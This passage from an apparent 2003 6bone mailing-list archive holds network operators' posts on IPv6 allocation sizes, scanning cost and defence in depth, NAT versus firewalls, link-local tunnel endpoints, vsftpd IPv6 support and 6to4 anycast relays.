first "hit" so that they can make the inference that something is in 
fact behind that network address that is worth attacking. Of course, 
having found that, they still have to find out what is behind the /n or 
/n+m.  The information provided may, of course, depend upon the router 
and how it is configured. I can and do set my edge router to "deep six" 
echo requests but the very fact that this is configurable suggests that 
some of the routers of the cybersphere may be set the other way.
-- 

Best Regards,

 

John Holmblad

 

Televerage International

 

(H) 703 620 0672

(M) 703 407 2278

(F) 703 620 5388

 

www page:                      www.vtext.com/users/jholmblad

primary email address: jholmblad@aol.com

backup email address:  jholmblad@verizon.net

 

text email address:         jholmblad@vtext.com


--------------060909090901020906050604
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Jordi,<br>
<br>
thanks for the reference to the recent IETF&nbsp; doc on the subject. The
intro of that document kind of underpins what I asserted/implied , i.e.
defense in depth is a good thing and that security through obscurity
helps to raise the bar for the wily attacker but does not stand on its
own two legs:<br>
<br>
<pre>   "It must be remembered that the defense of a network must not rely on
   the obscurity of the hosts on that network.   <b>Such a feature or
   property is only one measure in a set of measures that may be
   applied</b>."</pre>
<br>
Regarding the second point, the idea I am trying to get across applies
equally to either IPv4 or IPv6 and is really a generic argument against
too much generosity in the allocation of address space. My working
assumption, perhaps invalid, is that&nbsp; the attacker is interested in&nbsp;&nbsp;
knowing whether or not there is a network behind a particular network
address and that scanning a&nbsp; for /n+m's will take longer than scanning
for /n's where n and m are positive integers thus increasing the attack
"cost" in time and bandwidth consumption for the attacker. A key part
of my assumption is that the edge router&nbsp; servicing the /n or /n+m
subnet will provide some kind of informational response to the attacker
on the first "hit" so that they can make the inference that something
is in fact behind that network address that is worth attacking. Of
course, having found that, they still have to find out what is behind
the /n or /n+m.&nbsp; The information provided may, of course, depend upon
the router and how it is configured. I can and do set my edge router to
"deep six" echo requests but the very fact that this is configurable
suggests that some of the routers of the cybersphere may be set the
other way.<br>
<div class="moz-signature">-- <br>
<meta http-equiv="Content-Type" content="text/html; ">
<meta name="Generator" content="Microsoft Word 10 (filtered)">
<title>Best Regards,</title>

<!-- /* Font Definitions */ @font-face	{font-family:"MS Mincho";	panose-1:2 2 6 9 4 2 5 8 3 4;}@font-face	{font-family:"\@MS Mincho";	panose-1:2 2 6 9 4 2 5 8 3 4;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal	{margin:0in;	margin-bottom:.0001pt;	font-size:12.0pt;	font-family:"Times New Roman";}@page Section1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;}div.Section1	{page:Section1;}-->
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<div class="Section1">
<p class="MsoNormal"><b><span >Best
Regards,</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >John
Holmblad</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >Televerage
International</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >(H) </span></b><b><span >703 620 0672</span></b></p>
<p class="MsoNormal"><b><span >(M) </span></b><b><span >703 407 2278</span></b></p>
<p class="MsoNormal"><b><span >(F) </span></b><b><span >703 620 5388</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span lang="NL" >www
page:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-abbreviated" href="http://www.vtext.com/users/jholmblad">www.vtext.com/users/jholmblad</a></span></b></p>
<p class="MsoNormal"><b><span >primary
email address: </span></b><b><span ><a class="moz-txt-link-abbreviated" href="mailto:jholmblad@aol.com">jholmblad@aol.com</a></span></b></p>
<p class="MsoNormal"><b><span >backup
email address:&nbsp; <a class="moz-txt-link-abbreviated" href="mailto:jholmblad@verizon.net">jholmblad@verizon.net</a></span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >text email
address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-abbreviated" href="mailto:jholmblad@vtext.com">jholmblad@vtext.com</a></span></b></p>
</div>
</div>
</body>
</html>

--------------060909090901020906050604--

From tony@lava.net Sat Oct 25 23:50:24 2003
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From: Antonio Querubin <tony@lava.net>
To: John Holmblad <jholmblad@aol.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, 25 Oct 2003, John Holmblad wrote:

> 2. Re /48 vs /64 for the single network port or home
>
> It occurs to me that the more address space that is allocated to a given
> access point to the Internet, the easier it is for a scanner to find it,
> for obvious reasons. In that sense, generosity of address space
> allocation runs against the grain of trying to make the Internet more
> secure.  In fact it  would seem desirable to take advantage of the huge
> 128 bit address space enabled by IPv6 to raise the cost for attackers to
> find "points of interest" on the Internet.

Though a scanner may find the subnet, to mount a real attack that might
actually accomplish something would require scanning the entire prefix for
actual targets.  That takes time.  If you were a cracker, would you spend
time scanning a densely populated small network or a sparsely populated
large network?  I'd suspect that with IPv6, the dispersion of targets into
a much larger address space makes things a little more difficult for
crackers.  The theoretical bottom line is that you'll have a harder time
targeting what you haven't yet found.


From bmanning@ISI.EDU Sun Oct 26 04:07:00 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200310261206.h9QC6u923572@boreas.isi.edu>
Subject: Re: [6bone] Is minimum allocation /64 now?
In-Reply-To: <20031025190512.GA20756@login.ecs.soton.ac.uk> from Tim Chown at "Oct 25, 3 08:05:12 pm"
To: tjc@ecs.soton.ac.uk (Tim Chown)
Date: Sun, 26 Oct 2003 04:06:56 -0800 (PST)
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% > > 128 bit address space enabled by IPv6 to raise the cost for attackers to
% > > find "points of interest" on the Internet.
% 
% Actually the more address space allocated, the harder it is to be found in
% that address range.
% 
% Not at all, but if it takes an attacker 500 billion years to scan a /64
% at one IP per second, I' happier than it taking 4 minutes for an IPv4 /24.
% 
% Defense in depth.
% 
% If you choose to number your hosts <prefix>::1 and up, that's your choice
% of course...
% 
% Tim

	from this side of the fence, since there are so many discrete
	IPs in a /64 that you are being announced, that looks like
	a target rich environment for forged source addresses for spam. 
	but, as you point out, YMMV.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From tjc@ecs.soton.ac.uk Sun Oct 26 04:37:14 2003
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Date: Sun, 26 Oct 2003 12:37:10 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sun, Oct 26, 2003 at 04:06:56AM -0800, Bill Manning wrote:
> 
> 	from this side of the fence, since there are so many discrete
> 	IPs in a /64 that you are being announced, that looks like
> 	a target rich environment for forged source addresses for spam. 
> 	but, as you point out, YMMV.

Agreed, you can't relying on blacklisting specific IP's; you should instead
blacklist whatever the customer allocation is.   But that from discussion
here could be anything from a single IP to a /48, and you don't know :)

Given the RFC3041 privacy addresses will be commonly used, a sender on a
subnet can come from any potential host address anyway.

Tim

From dan@reeder.name Sun Oct 26 04:49:57 2003
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From: "Dan Reeder" <dan@reeder.name>
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Subject: [6bone] link local for tunnel endpoints
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Hey guys
in light of the recent spirited discussions regarding ptp subnets, I was
wondering whether anyone has used or is using the link local addressing for
the endpoints. (I'm not too sure whether it is still called link local in
this case, as it is quite different from typical MAC-based addressing)

here's an example of my tunnel:

ip tunnel add sixbone mode sit remote 203.149.69.35 local 202.173.147.67
ip link set sixbone up
ip tunnel change sixbone ttl 255
ip link set mtu 1472 dev sixbone
route add -A inet6 ::/0 gw fe80::cb95:4523 dev sixbone

fe80::cb95:4523 is just the remote ip converted to hex and set with a link
local prefix.

Now because my local router and the remote router also have valid 2001::
global addressing (on mine for the /64 on another interface, on the remote
for other purposes), so traceroutes back and forth are going through just
fine. I realise that every device needs a globally reachable ip set on it
somewhere, even on a loopback interface, to be reachable.
But are there any operational down sides or gotchas that would prove this
type of addressing to be unsafe or impractical for use?

thanks
Dan Reeder



From bmanning@ISI.EDU Sun Oct 26 06:34:33 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Is minimum allocation /64 now?
In-Reply-To: <20031026123710.GA1061@login.ecs.soton.ac.uk> from Tim Chown at "Oct 26, 3 12:37:10 pm"
To: tjc@ecs.soton.ac.uk (Tim Chown)
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% > 	from this side of the fence, since there are so many discrete
% > 	IPs in a /64 that you are being announced, that looks like
% > 	a target rich environment for forged source addresses for spam. 
% > 	but, as you point out, YMMV.
% 
% Agreed, you can't relying on blacklisting specific IP's; you should instead
% blacklist whatever the customer allocation is.   But that from discussion
% here could be anything from a single IP to a /48, and you don't know :)
% 
% Given the RFC3041 privacy addresses will be commonly used, a sender on a
% subnet can come from any potential host address anyway.
% 
% Tim

	whoops!  that tells me that whitelisting of specific 
	IP addresses (/128s) will become common by ISPs and 
	endusers as a spam prevention measure.   In that case,
	thr routing problem disappears, no?  :)


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From gnu@wraith.sf.ca.us Sun Oct 26 07:49:36 2003
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To: 6bone@ISI.EDU
Date: Sun, 26 Oct 2003 07:49:16 -0800
From: gnu not unix <gnu@wraith.sf.ca.us>
Subject: [6bone] v6 usage, a personal view
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Hi folks--

I've been connected to 6bone via tunnels for a couple years, and
have run a v6 web server, and more recently, email and ntp
services, via v6 transport, in usa (California).

I have not seen very much use of v6 during this time. There is
one list that I receive via v6 (bind9, oddly not this 6bone list).
There has been occasional access of the web server via v6--I have
some "how-to" info of a technical nature there.

My own use of v6 is negligible as far as daily web browsing
is concerned. Partly this is due to using a squid cache which is
not v6 aware, partly due to my workstation being linux, and not
using the usagi kernel (I run the PPSKit patch instead, for ntp).

I've several times asked my isp about v6, but there is a negative
incentive for them to offer v6--they make too much money from the
v4 address space "shortage" and thus don't want to disturb this
revenue stream.

I'm curious how folks are moving their own usage to v6, and also
wondering a bit why 6bone list uses v4. In the american jargon
in the silicon valley, using your own product is referred to
as "eating your own dog food." 

../Steven

From cfaber@fpsn.net Sun Oct 26 13:32:16 2003
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Subject: Re: [6bone] Is minimum allocation /64 now? (+ my 2 cents)
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Hi,

Jeroen Massar wrote:

<snip>
> "Many ISP's charge for extra ip addresses, and they dont do it just because
> they have to type in 3 commands on their router. NAT gives a certain ammount
> of security for end-users."
> 
> 1 user, not 1 endsite, not 1 ptp tunnel.
> If it where a "enduser product" there would be going
> a /48 to that enduser.
> 
> That simply is requiring the user to NAT and not giving
> them full internet access. NAT as 'security' is bullshit
> If you want to give them 'security' then offer a standard
> firewalling service like many ISP's do. And of course if
> you do offer it also offer the option to turn it off for
> the clued people.
>

Interjecting some comments here. As a real world example I'm limited to a single /30 from Qwest 
Internet services, Limiting me to that TINY allocation has nothing to do with security and 
everything to do with the bottom line ($$). A lot of ISP's I've dealt with are the same way. They do 
not like the fact that IPv6 will "solve" the IPv4 IP shortage problem because a major source of 
their revenue is based off of so called "business class" connections which provide single or VERY 
tiny blocks of static space to the end site. Others feel that they can stop people from hosting 
services on "personal class" connections which may violate the ISP's AUP by forcing the users to use 
a horrific DHCP based system or even worse yet NAT.







From anne@apnic.net Sun Oct 26 18:17:00 2003
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Date: Mon, 27 Oct 2003 12:16:50 +1000 (EST)
From: Anne Lord <anne@apnic.net>
To: Dan Reeder <dan@reeder.name>
cc: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
Subject: Re: [6bone] Is minimum allocation /64 now?
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hi Dan,

> The problem is that, perhaps because some of us have had to live under the
> strong arm of apnic, that the tendency to want to conserve addressing is a

As pointed out by a subsequent posting, the policies of APNIC
are, like those of the other RIRs, set by the community:
conservation is regarded as an important goal.

 [snip]

>help but think that there will be an IP shortage somewhere in our solar
>system similar to what asia pacific is currently suffering under v4.
                                       ^^^^^^^^^
The current allocation rates for the Asia Pacific region
_exceed_ those of all other RIR regions as you can see in the 
presentation below, slide 3: 'IPv4 allocations from RIRs to LIRs/ISPs, 
yearly comparison - Jun 30, 2003': 

http://www.apnic.net/meetings/16/programme/docs/amm-pres-joint-rir-stats-jun031.ppt

This is part of a coordinated 'Internet Number Resource
Statistics' presentation which is updated twice a year by the RIRs.

The daily data in raw format is available from:

http://www.apnic.net/info/reports/index.html

Check the heading 'IP and AS number allocation reports'.

Hope this helps,
regards,

Anne
_____________________________________________________________________
Anne Lord, Manager, Policy Liaison                  <anne@apnic.net>
Asia Pacific Network Information Centre       phone: +61 7 3858 3100
http://www.apnic.net                            fax: +61 7 3858 3199
----------------------------------------------------------------------

> Dan Reeder
> 
> ----- Original Message ----- 
> From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
> To: <6bone@ISI.EDU>
> Sent: Saturday, October 25, 2003 9:41 PM
> Subject: Re: [6bone] Is minimum allocation /64 now?
> 
> 
> > Clearly those ISPs that charge for every address, will need to switch the
> business model, if they want to win new customers, or even
> > keep the existing users !
> >
> > Charging for every IPv6 address, must be forbidden, hopefully soon by the
> RIRs policy.
> >
> > ----- Original Message ----- 
> > From: "Jørgen Hovland" <jorgen@hovland.cx>
> > To: "Jeroen Massar" <jeroen@unfix.org>
> > Cc: <6bone@ISI.EDU>
> > Sent: Saturday, October 25, 2003 1:56 AM
> > Subject: RE: [6bone] Is minimum allocation /64 now?
> >
> >
> > > On Sat, 25 Oct 2003, Jeroen Massar wrote:
> > >
> > > > If you want to sell 'single-user' products then count their
> > > > bandwidth usage. Or are you getting your IP's from your transit
> provider?
> > > > Transit providers charge you for bandwidth consumption.
> > >
> > > There are ISP's already doing that and there are ISP's totally against
> > > it.
> > >
> > > > So should you. If you have no intention of selling them internet
> access
> > > > then why call yourself an ISP at all ?
> > >
> > > There are people who do not feel charging by capacity is the proper way
> to
> > > do it, but by the ammount of users. There are infact ISP's who do this
> > > today.
> > >
> > > > "single-user products" as you call it are the biggest reasons why
> > > > we have those awfull NAT's today. And how many users are behind
> > > > that NAT even though you just gave them 1 IPv4 address? LOTS.
> > >
> > > There's a difference between denying a person extra ip addresses and
> > > giving out a billion without asking if the person needs it.
> > >
> > > Many ISP's charge for extra ip addresses, and they dont do it just
> because
> > > they have to type in 3 commands on their router. NAT gives a certain
> ammount
> > > of security for end-users.
> > >
> > > Joergen Hovland ENK
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> >
> > **********************************
> > Madrid 2003 Global IPv6 Summit
> > Presentations and videos on line at:
> > http://www.ipv6-es.com
> >
> > This electronic message contains information which may be privileged or
> confidential. The information is intended to be for the use of the
> individual(s) named above. If you are not the intended recipient be aware
> that any disclosure, copying, distribution or use of the contents of this
> information, including attached files, is prohibited.
> >
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 





From dan@reeder.name Sun Oct 26 20:16:13 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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> >help but think that there will be an IP shortage somewhere in our solar
> >system similar to what asia pacific is currently suffering under v4.
>                                        ^^^^^^^^^
> The current allocation rates for the Asia Pacific region
> _exceed_ those of all other RIR regions as you can see in the
> presentation below, slide 3: 'IPv4 allocations from RIRs to LIRs/ISPs,
> yearly comparison - Jun 30, 2003':

Ok my mistake... substitute the phrase "is currently" for "has traditionally
been"

Does this mean that things are finally starting to improve? I certainly hope
so! Half the sixbone movement has been based upon the trends of asiapac and
europe having far fewer v4 IPs to work with than north america for example.

But still, that doesnt excuse the fact that we've been waiting *weeks* now
for a v6 /32 allocation from you guys.

Dan Reeder



From anne@apnic.net Sun Oct 26 21:46:41 2003
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From: Anne Lord <anne@apnic.net>
To: Dan Reeder <dan@reeder.name>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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hi Dan,

> Ok my mistake... substitute the phrase "is currently" for "has traditionally
> been"
> 
> Does this mean that things are finally starting to improve? I certainly hope
> so! Half the sixbone movement has been based upon the trends of asiapac and
> europe having far fewer v4 IPs to work with than north america for example.

The trends started changing in 2000/2001.  APNIC allocated more IP 
addresses than the other RIRs in 2002 and in 2001 APNIC allocated 
more addresses than the RIPE NCC. 

> But still, that doesnt excuse the fact that we've been waiting *weeks* now
> for a v6 /32 allocation from you guys.

Strange. With the one-day turnaround time, IPv6 requests are usually
processed very quickly.  If you can supply me with a ticket number 
I would be happy to follow this up with you off-line.

cheers,
Anne
--
 
> 
> Dan Reeder
> 
> 


From pekkas@netcore.fi Sun Oct 26 22:47:30 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Dan Reeder <dan@reeder.name>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] link local for tunnel endpoints
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On Sun, 26 Oct 2003, Dan Reeder wrote:
[...]
> Now because my local router and the remote router also have valid 2001::
> global addressing (on mine for the /64 on another interface, on the remote
> for other purposes), so traceroutes back and forth are going through just
> fine. I realise that every device needs a globally reachable ip set on it
> somewhere, even on a loopback interface, to be reachable.
> But are there any operational down sides or gotchas that would prove this
> type of addressing to be unsafe or impractical for use?

A few minor points I'm aware of -- should not be show-stoppers:
 - when doing a traceroute, you can see which nodes the packets go 
through, not which interfaces (the latter may be interesting e.g. with 
backbone routers and their multiple interfaces).
 - you can't ping the point-to-point address remotely, meaning, if the 
other end-point has hosed its static route towards you, you can't isolate 
the problem except from your border router, pinging the link-local 
address.

But as said, these are pretty minor.  In many cases, the link locals 
should be enough..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From mclin@sinica.edu.tw Mon Oct 27 07:24:45 2003
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From: "Ethern Lin" <mclin@sinica.edu.tw>
To: "Dan Reeder" <dan@reeder.name>, "Anne Lord" <anne@apnic.net>,
   <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0310271208450.3431-100000@durian.apnic.net> <000d01c39c41$14985240$0200a8c0@dryad>
Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Mon, 27 Oct 2003 23:21:12 +0800
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IMHO, you can get the IPv6 block is easier and faster than
one year ago, and the the application conditions are more
easy to archeive.
So I think you could need more patients and just give them
some remind in proper time, everything will work out.

regards,

Ethern

=============================
Ethern Lin
Network Division
Computing Centre, Academia Sinica
Email: ethern@ascc.net
Phone: +886-2-2789-9953
Fax    : +886-2-2783-6444
=============================
----- Original Message -----
From: "Dan Reeder" <dan@reeder.name>
To: "Anne Lord" <anne@apnic.net>; <6bone@ISI.EDU>
Sent: Monday, October 27, 2003 12:16 PM
Subject: Re: [6bone] Is minimum allocation /64 now?


> > >help but think that there will be an IP shortage somewhere in our solar
> > >system similar to what asia pacific is currently suffering under v4.
> >                                        ^^^^^^^^^
> > The current allocation rates for the Asia Pacific region
> > _exceed_ those of all other RIR regions as you can see in the
> > presentation below, slide 3: 'IPv4 allocations from RIRs to LIRs/ISPs,
> > yearly comparison - Jun 30, 2003':
>
> Ok my mistake... substitute the phrase "is currently" for "has
traditionally
> been"
>
> Does this mean that things are finally starting to improve? I certainly
hope
> so! Half the sixbone movement has been based upon the trends of asiapac
and
> europe having far fewer v4 IPs to work with than north america for
example.
>
> But still, that doesnt excuse the fact that we've been waiting *weeks* now
> for a v6 /32 allocation from you guys.
>
> Dan Reeder
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From Matt.Carpenter@alticor.com Tue Oct 28 07:21:47 2003
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I concede that there is some security in NAT, simply because it helps to
protect those endusers who don't do anything to secure themselves.
However, there is no security in NAT beyond that which a firewall provides.
Simple firewall rulesets are amazingly simple and can be "defaulted" to
provide out-of-the-box protection as seen in NAT routers today.

ISP's charge for extra IP Addresses because they can.  It is valuable,
almost like real-estate.  One key purpose of IPv6 is to lessen the cost of
IP addresses through making them plentiful commodities.
Thinking of a single IP with NAT as an added value over many IP's has some
serious repercussions on other aspects of the Internet where logic reigns.

> "Many ISP's charge for extra ip addresses, and they dont do it just
because
> they have to type in 3 commands on their router. NAT gives a certain
ammount
> of security for end-users."
>
> 1 user, not 1 endsite, not 1 ptp tunnel.
> If it where a "enduser product" there would be going
> a /48 to that enduser.
>
> That simply is requiring the user to NAT and not giving
> them full internet access. NAT as 'security' is bullshit
> If you want to give them 'security' then offer a standard
> firewalling service like many ISP's do. And of course if
> you do offer it also offer the option to turn it off for
> the clued people.
>







From yasuhiro@nttv6.jp Tue Oct 28 18:54:01 2003
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On Mon, 27 Oct 2003 08:47:14 +0200 (EET),
Pekka Savola <pekkas@netcore.fi> wrote:
> On Sun, 26 Oct 2003, Dan Reeder wrote:
> [...]
> > Now because my local router and the remote router also have valid 2001::
> > global addressing (on mine for the /64 on another interface, on the remote
> > for other purposes), so traceroutes back and forth are going through just
> > fine. I realise that every device needs a globally reachable ip set on it
> > somewhere, even on a loopback interface, to be reachable.
> > But are there any operational down sides or gotchas that would prove this
> > type of addressing to be unsafe or impractical for use?
> 
> A few minor points I'm aware of -- should not be show-stoppers:
>  - when doing a traceroute, you can see which nodes the packets go 
> through, not which interfaces (the latter may be interesting e.g. with 
> backbone routers and their multiple interfaces).
>  - you can't ping the point-to-point address remotely, meaning, if the 
> other end-point has hosed its static route towards you, you can't isolate 
> the problem except from your border router, pinging the link-local 
> address.

Some old bgp4+ implementations couldn't work with link-local address.
Though peers over tunnel link seemed unstable and should be avoided,
yet we can see many bgp4+ peers over tunnel link.

--
SHIRASAKI Yasuhiro @ NTT Communications
t: +81-3-6800-3262, f: +81-3-5365-2990

From trond@storhaugen.uninett.no Thu Oct 30 06:57:36 2003
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As far as I know I've deleted all the stuff in the 6bone registry. From now on 
only our prefix 2001:700::/32 from RIPE will be used.

 -Trond



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I have been trying to configure vsftpd on Redhat9.0 for IPV6.However it gives an error of could not bind for IPv6 socket and the service would not start. Does anyone know the solution for this...


Aanak


Need a new email address that people can remember
Check out the new EudoraMail at
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From andreas@naund.org Thu Oct 30 14:16:51 2003
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On Fri, Oct 31, 2003 at 02:52:31AM +0530, aanak gaurang patwa wrote:
> I have been trying to configure vsftpd on Redhat9.0 for IPV6.However
> it gives an error of could not bind for IPv6 socket and the service
> would not start. Does anyone know the solution for this...

look at the file /usr/share/doc/vsftpd-1.1.3/TODO:

NOT SO CRITICAL
===============
[...]
- IPv6 support

For me that reads 'not yet implemented'. There are other ftpd 
implementations around that already speak IPv6, c.f.
http://www.deepspace6.net/docs/ar01s05.html . 
-andreas

From rmk@arm.linux.org.uk Thu Oct 30 14:36:43 2003
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On Thu, Oct 30, 2003 at 02:14:48PM -0800, Andreas Ott wrote:
> On Fri, Oct 31, 2003 at 02:52:31AM +0530, aanak gaurang patwa wrote:
> > I have been trying to configure vsftpd on Redhat9.0 for IPV6.However
> > it gives an error of could not bind for IPv6 socket and the service
> > would not start. Does anyone know the solution for this...
> 
> look at the file /usr/share/doc/vsftpd-1.1.3/TODO:

However, vsftpd 1.2.0 supports IPv6.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
                 2.6 Serial core

From pekkas@netcore.fi Thu Oct 30 14:37:21 2003
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On Fri, 31 Oct 2003, aanak gaurang patwa wrote:
> I have been trying to configure vsftpd on Redhat9.0 for IPV6.However it
> gives an error of could not bind for IPv6 socket and the service would
> not start. Does anyone know the solution for this...

That would be pretty difficult as vsftpd does not support IPv6 (darn!).

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


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On Fri, Oct 31, 2003 at 12:36:43AM +0200, Pekka Savola wrote:
> On Fri, 31 Oct 2003, aanak gaurang patwa wrote:
> > I have been trying to configure vsftpd on Redhat9.0 for IPV6.However it
> > gives an error of could not bind for IPv6 socket and the service would
> > not start. Does anyone know the solution for this...
> 
> That would be pretty difficult as vsftpd does not support IPv6 (darn!).

Take another look at vsftpd 1.2 and I think you'll be pleasantly
surprised.

$ ftp xxxx
Trying xxxx:xxxx:xxxx:xxxx:201:2ff:fe14:8fad...
Connected to flint (xxxx:xxxx:xxxx:xxxx:201:2ff:fe14:8fad).
220 (vsFTPd 1.2.0)
Name (xxxx:xxxx):
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46841|)
150 Here comes the directory listing.
...
226 Directory send OK.
ftp> 

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
                 2.6 Serial core

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Trond,

At 03:57 PM 10/30/2003 +0100, Trond Skjesol wrote:
>As far as I know I've deleted all the stuff in the 6bone registry. From 
>now on
>only our prefix 2001:700::/32 from RIPE will be used.

Thanks for letting me know. I've changed the allocation to show that it is 
returned.


Bob 


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To: "'Trond Skjesol'" <Trond.Skjesol@uninett.no>, <6bone@ISI.EDU>
Subject: RE: [6bone] We have stoped using the 3ffe:2a00::/24 prefix
Date: Fri, 31 Oct 2003 03:03:36 +0100
Organization: Unfix
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Trond Skjesol wrote:

> As far as I know I've deleted all the stuff in the 6bone 
> registry. From now on 
> only our prefix 2001:700::/32 from RIPE will be used.

According to GRH (https://noc.sixxs.net/tools/grh/tla/6bone/)

Prefix:    3ffe:2a00::/24
Allocated: 1997-11-21
Last seen: 2003-10-24 20:00:54

That was almost 6 years :)

There are a 13 TLA's that don't have a routing entry btw.
And some others who are originating from different ASN's
than documented in the 6bone registry...

Greets,
 Jeroen

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From yjchui@cht.com.tw Sun Nov  2 20:19:52 2003
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Subject: [6bone] Which platforms  support 6to4 anycast relay function
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Hi:
    I am surveying anycast for 6to4 relay router. As I know (may be =
wrong), to support anycast of  6to4 relay function for a router, special =
function should be added. (That is, a normal router which supports =
ordinary 6to4 relay function will not support 6to4 anycast relay =
function). Does anybody know which platform, such as linux, freeBSD or =
production router such as cisco, 6wind, Juniper,..., now can be set up =
as a anycast relay router ?

Thanks
Y.J. Chu
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<DIV><FONT size=3D2>Hi:</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; I am surveying&nbsp;anycast =
for&nbsp;6to4=20
relay router. As I know (may be wrong), to support anycast of &nbsp;6to4 =
relay=20
function for a router, special function should be added. (That is, a =
normal=20
router which supports ordinary 6to4 relay function will not support 6to4 =
anycast=20
relay function). Does anybody know which platform, such as linux, =
freeBSD or=20
production router such as cisco, 6wind, Juniper,..., now can be set up =
as a=20
anycast relay router ?</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks</FONT></DIV>
<DIV><FONT size=3D2>Y.J. Chu</FONT></DIV></BODY></HTML>

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From pekkas@netcore.fi Sun Nov  2 22:52:20 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: yjchu <yjchui@cht.com.tw>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Which platforms  support 6to4 anycast relay function
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On Mon, 3 Nov 2003, yjchu wrote:
>     I am surveying anycast for 6to4 relay router. As I know (may be
> wrong), to support anycast of 6to4 relay function for a router, special
> function should be added. (That is, a normal router which supports
> ordinary 6to4 relay function will not support 6to4 anycast relay
> function). Does anybody know which platform, such as linux, freeBSD or
> production router such as cisco, 6wind, Juniper,..., now can be set up
> as a anycast relay router ?

There is nothing special about anycast relay function.  Strictly speaking, 
you'll have to be able to mark the address "anycast", so that it isn't 
used for source addresses, but a large number of currently deployed 6to4 
anycast relays don't do even that.. :-)

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From gert@Space.Net Mon Nov  3 06:28:51 2003
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To: Dan Reeder <dan@reeder.name>
Cc: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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Hi,

On Sun, Oct 26, 2003 at 12:12:53AM +1000, Dan Reeder wrote:
> The problem is that, perhaps because some of us have had to live under the
> strong arm of apnic, that the tendency to want to conserve addressing is a
> bit of a habit. Personally whenever I see things like /48s being given to
> users left right and center I get reminded of the consequences of Stanford
> being given a v4 /8 way back in the early days. It just reeks of
> wastefulness. 

Yes, it reeks so, and every time this is discussed, someone comes up with
"and 640 kbyte RAM is enough for everybody".

Just do the math:  inside FP 001, there are 2^45 /48s, which is over
a 1000 /48s per person if we assume a world population of 10 billion.

> Just because we can, and just because some (antiquated?)
> documents say so, does that mean we should?

Yes.  This is about the only reason to go for IPv6: *plenty* of address
space, and no haggling, no questions asked.

Get rid of your "conservation is the major goal" mindset (which is something
that is very dominant in the IPv4 world of today)!

[..]
> Why can't someone bite the bullet and just develop a daemon like radvd that
> will simply use pretty much any prefix length thrown at it? I've got a /64
> on my lan here. If the advertisement software supported it operationally
> speaking it would make absolutely ZERO difference if I changed it to /80...
> or /112 or even a /120. And I bet it would make almost zero difference to
> the majority of the readers on this list (i'm not really talking about ISP
> network operations/addressing here though)

The way autoconfiguration works today, you need something larger than a /80
to be able to base your IPv6 host part on the 48 bit MAC address.  The
nice thing about EUI-64 based addressing is that it is "dirt simple to
implement".  No need for a stateful DHCP server that keeps track of
addresses or whatever, just roll your own.

[..]
> I can't help but cringe at the thought of some geek in a few hundred years
> time thinking what clowns we all were by greedily taking /64s and /48s for
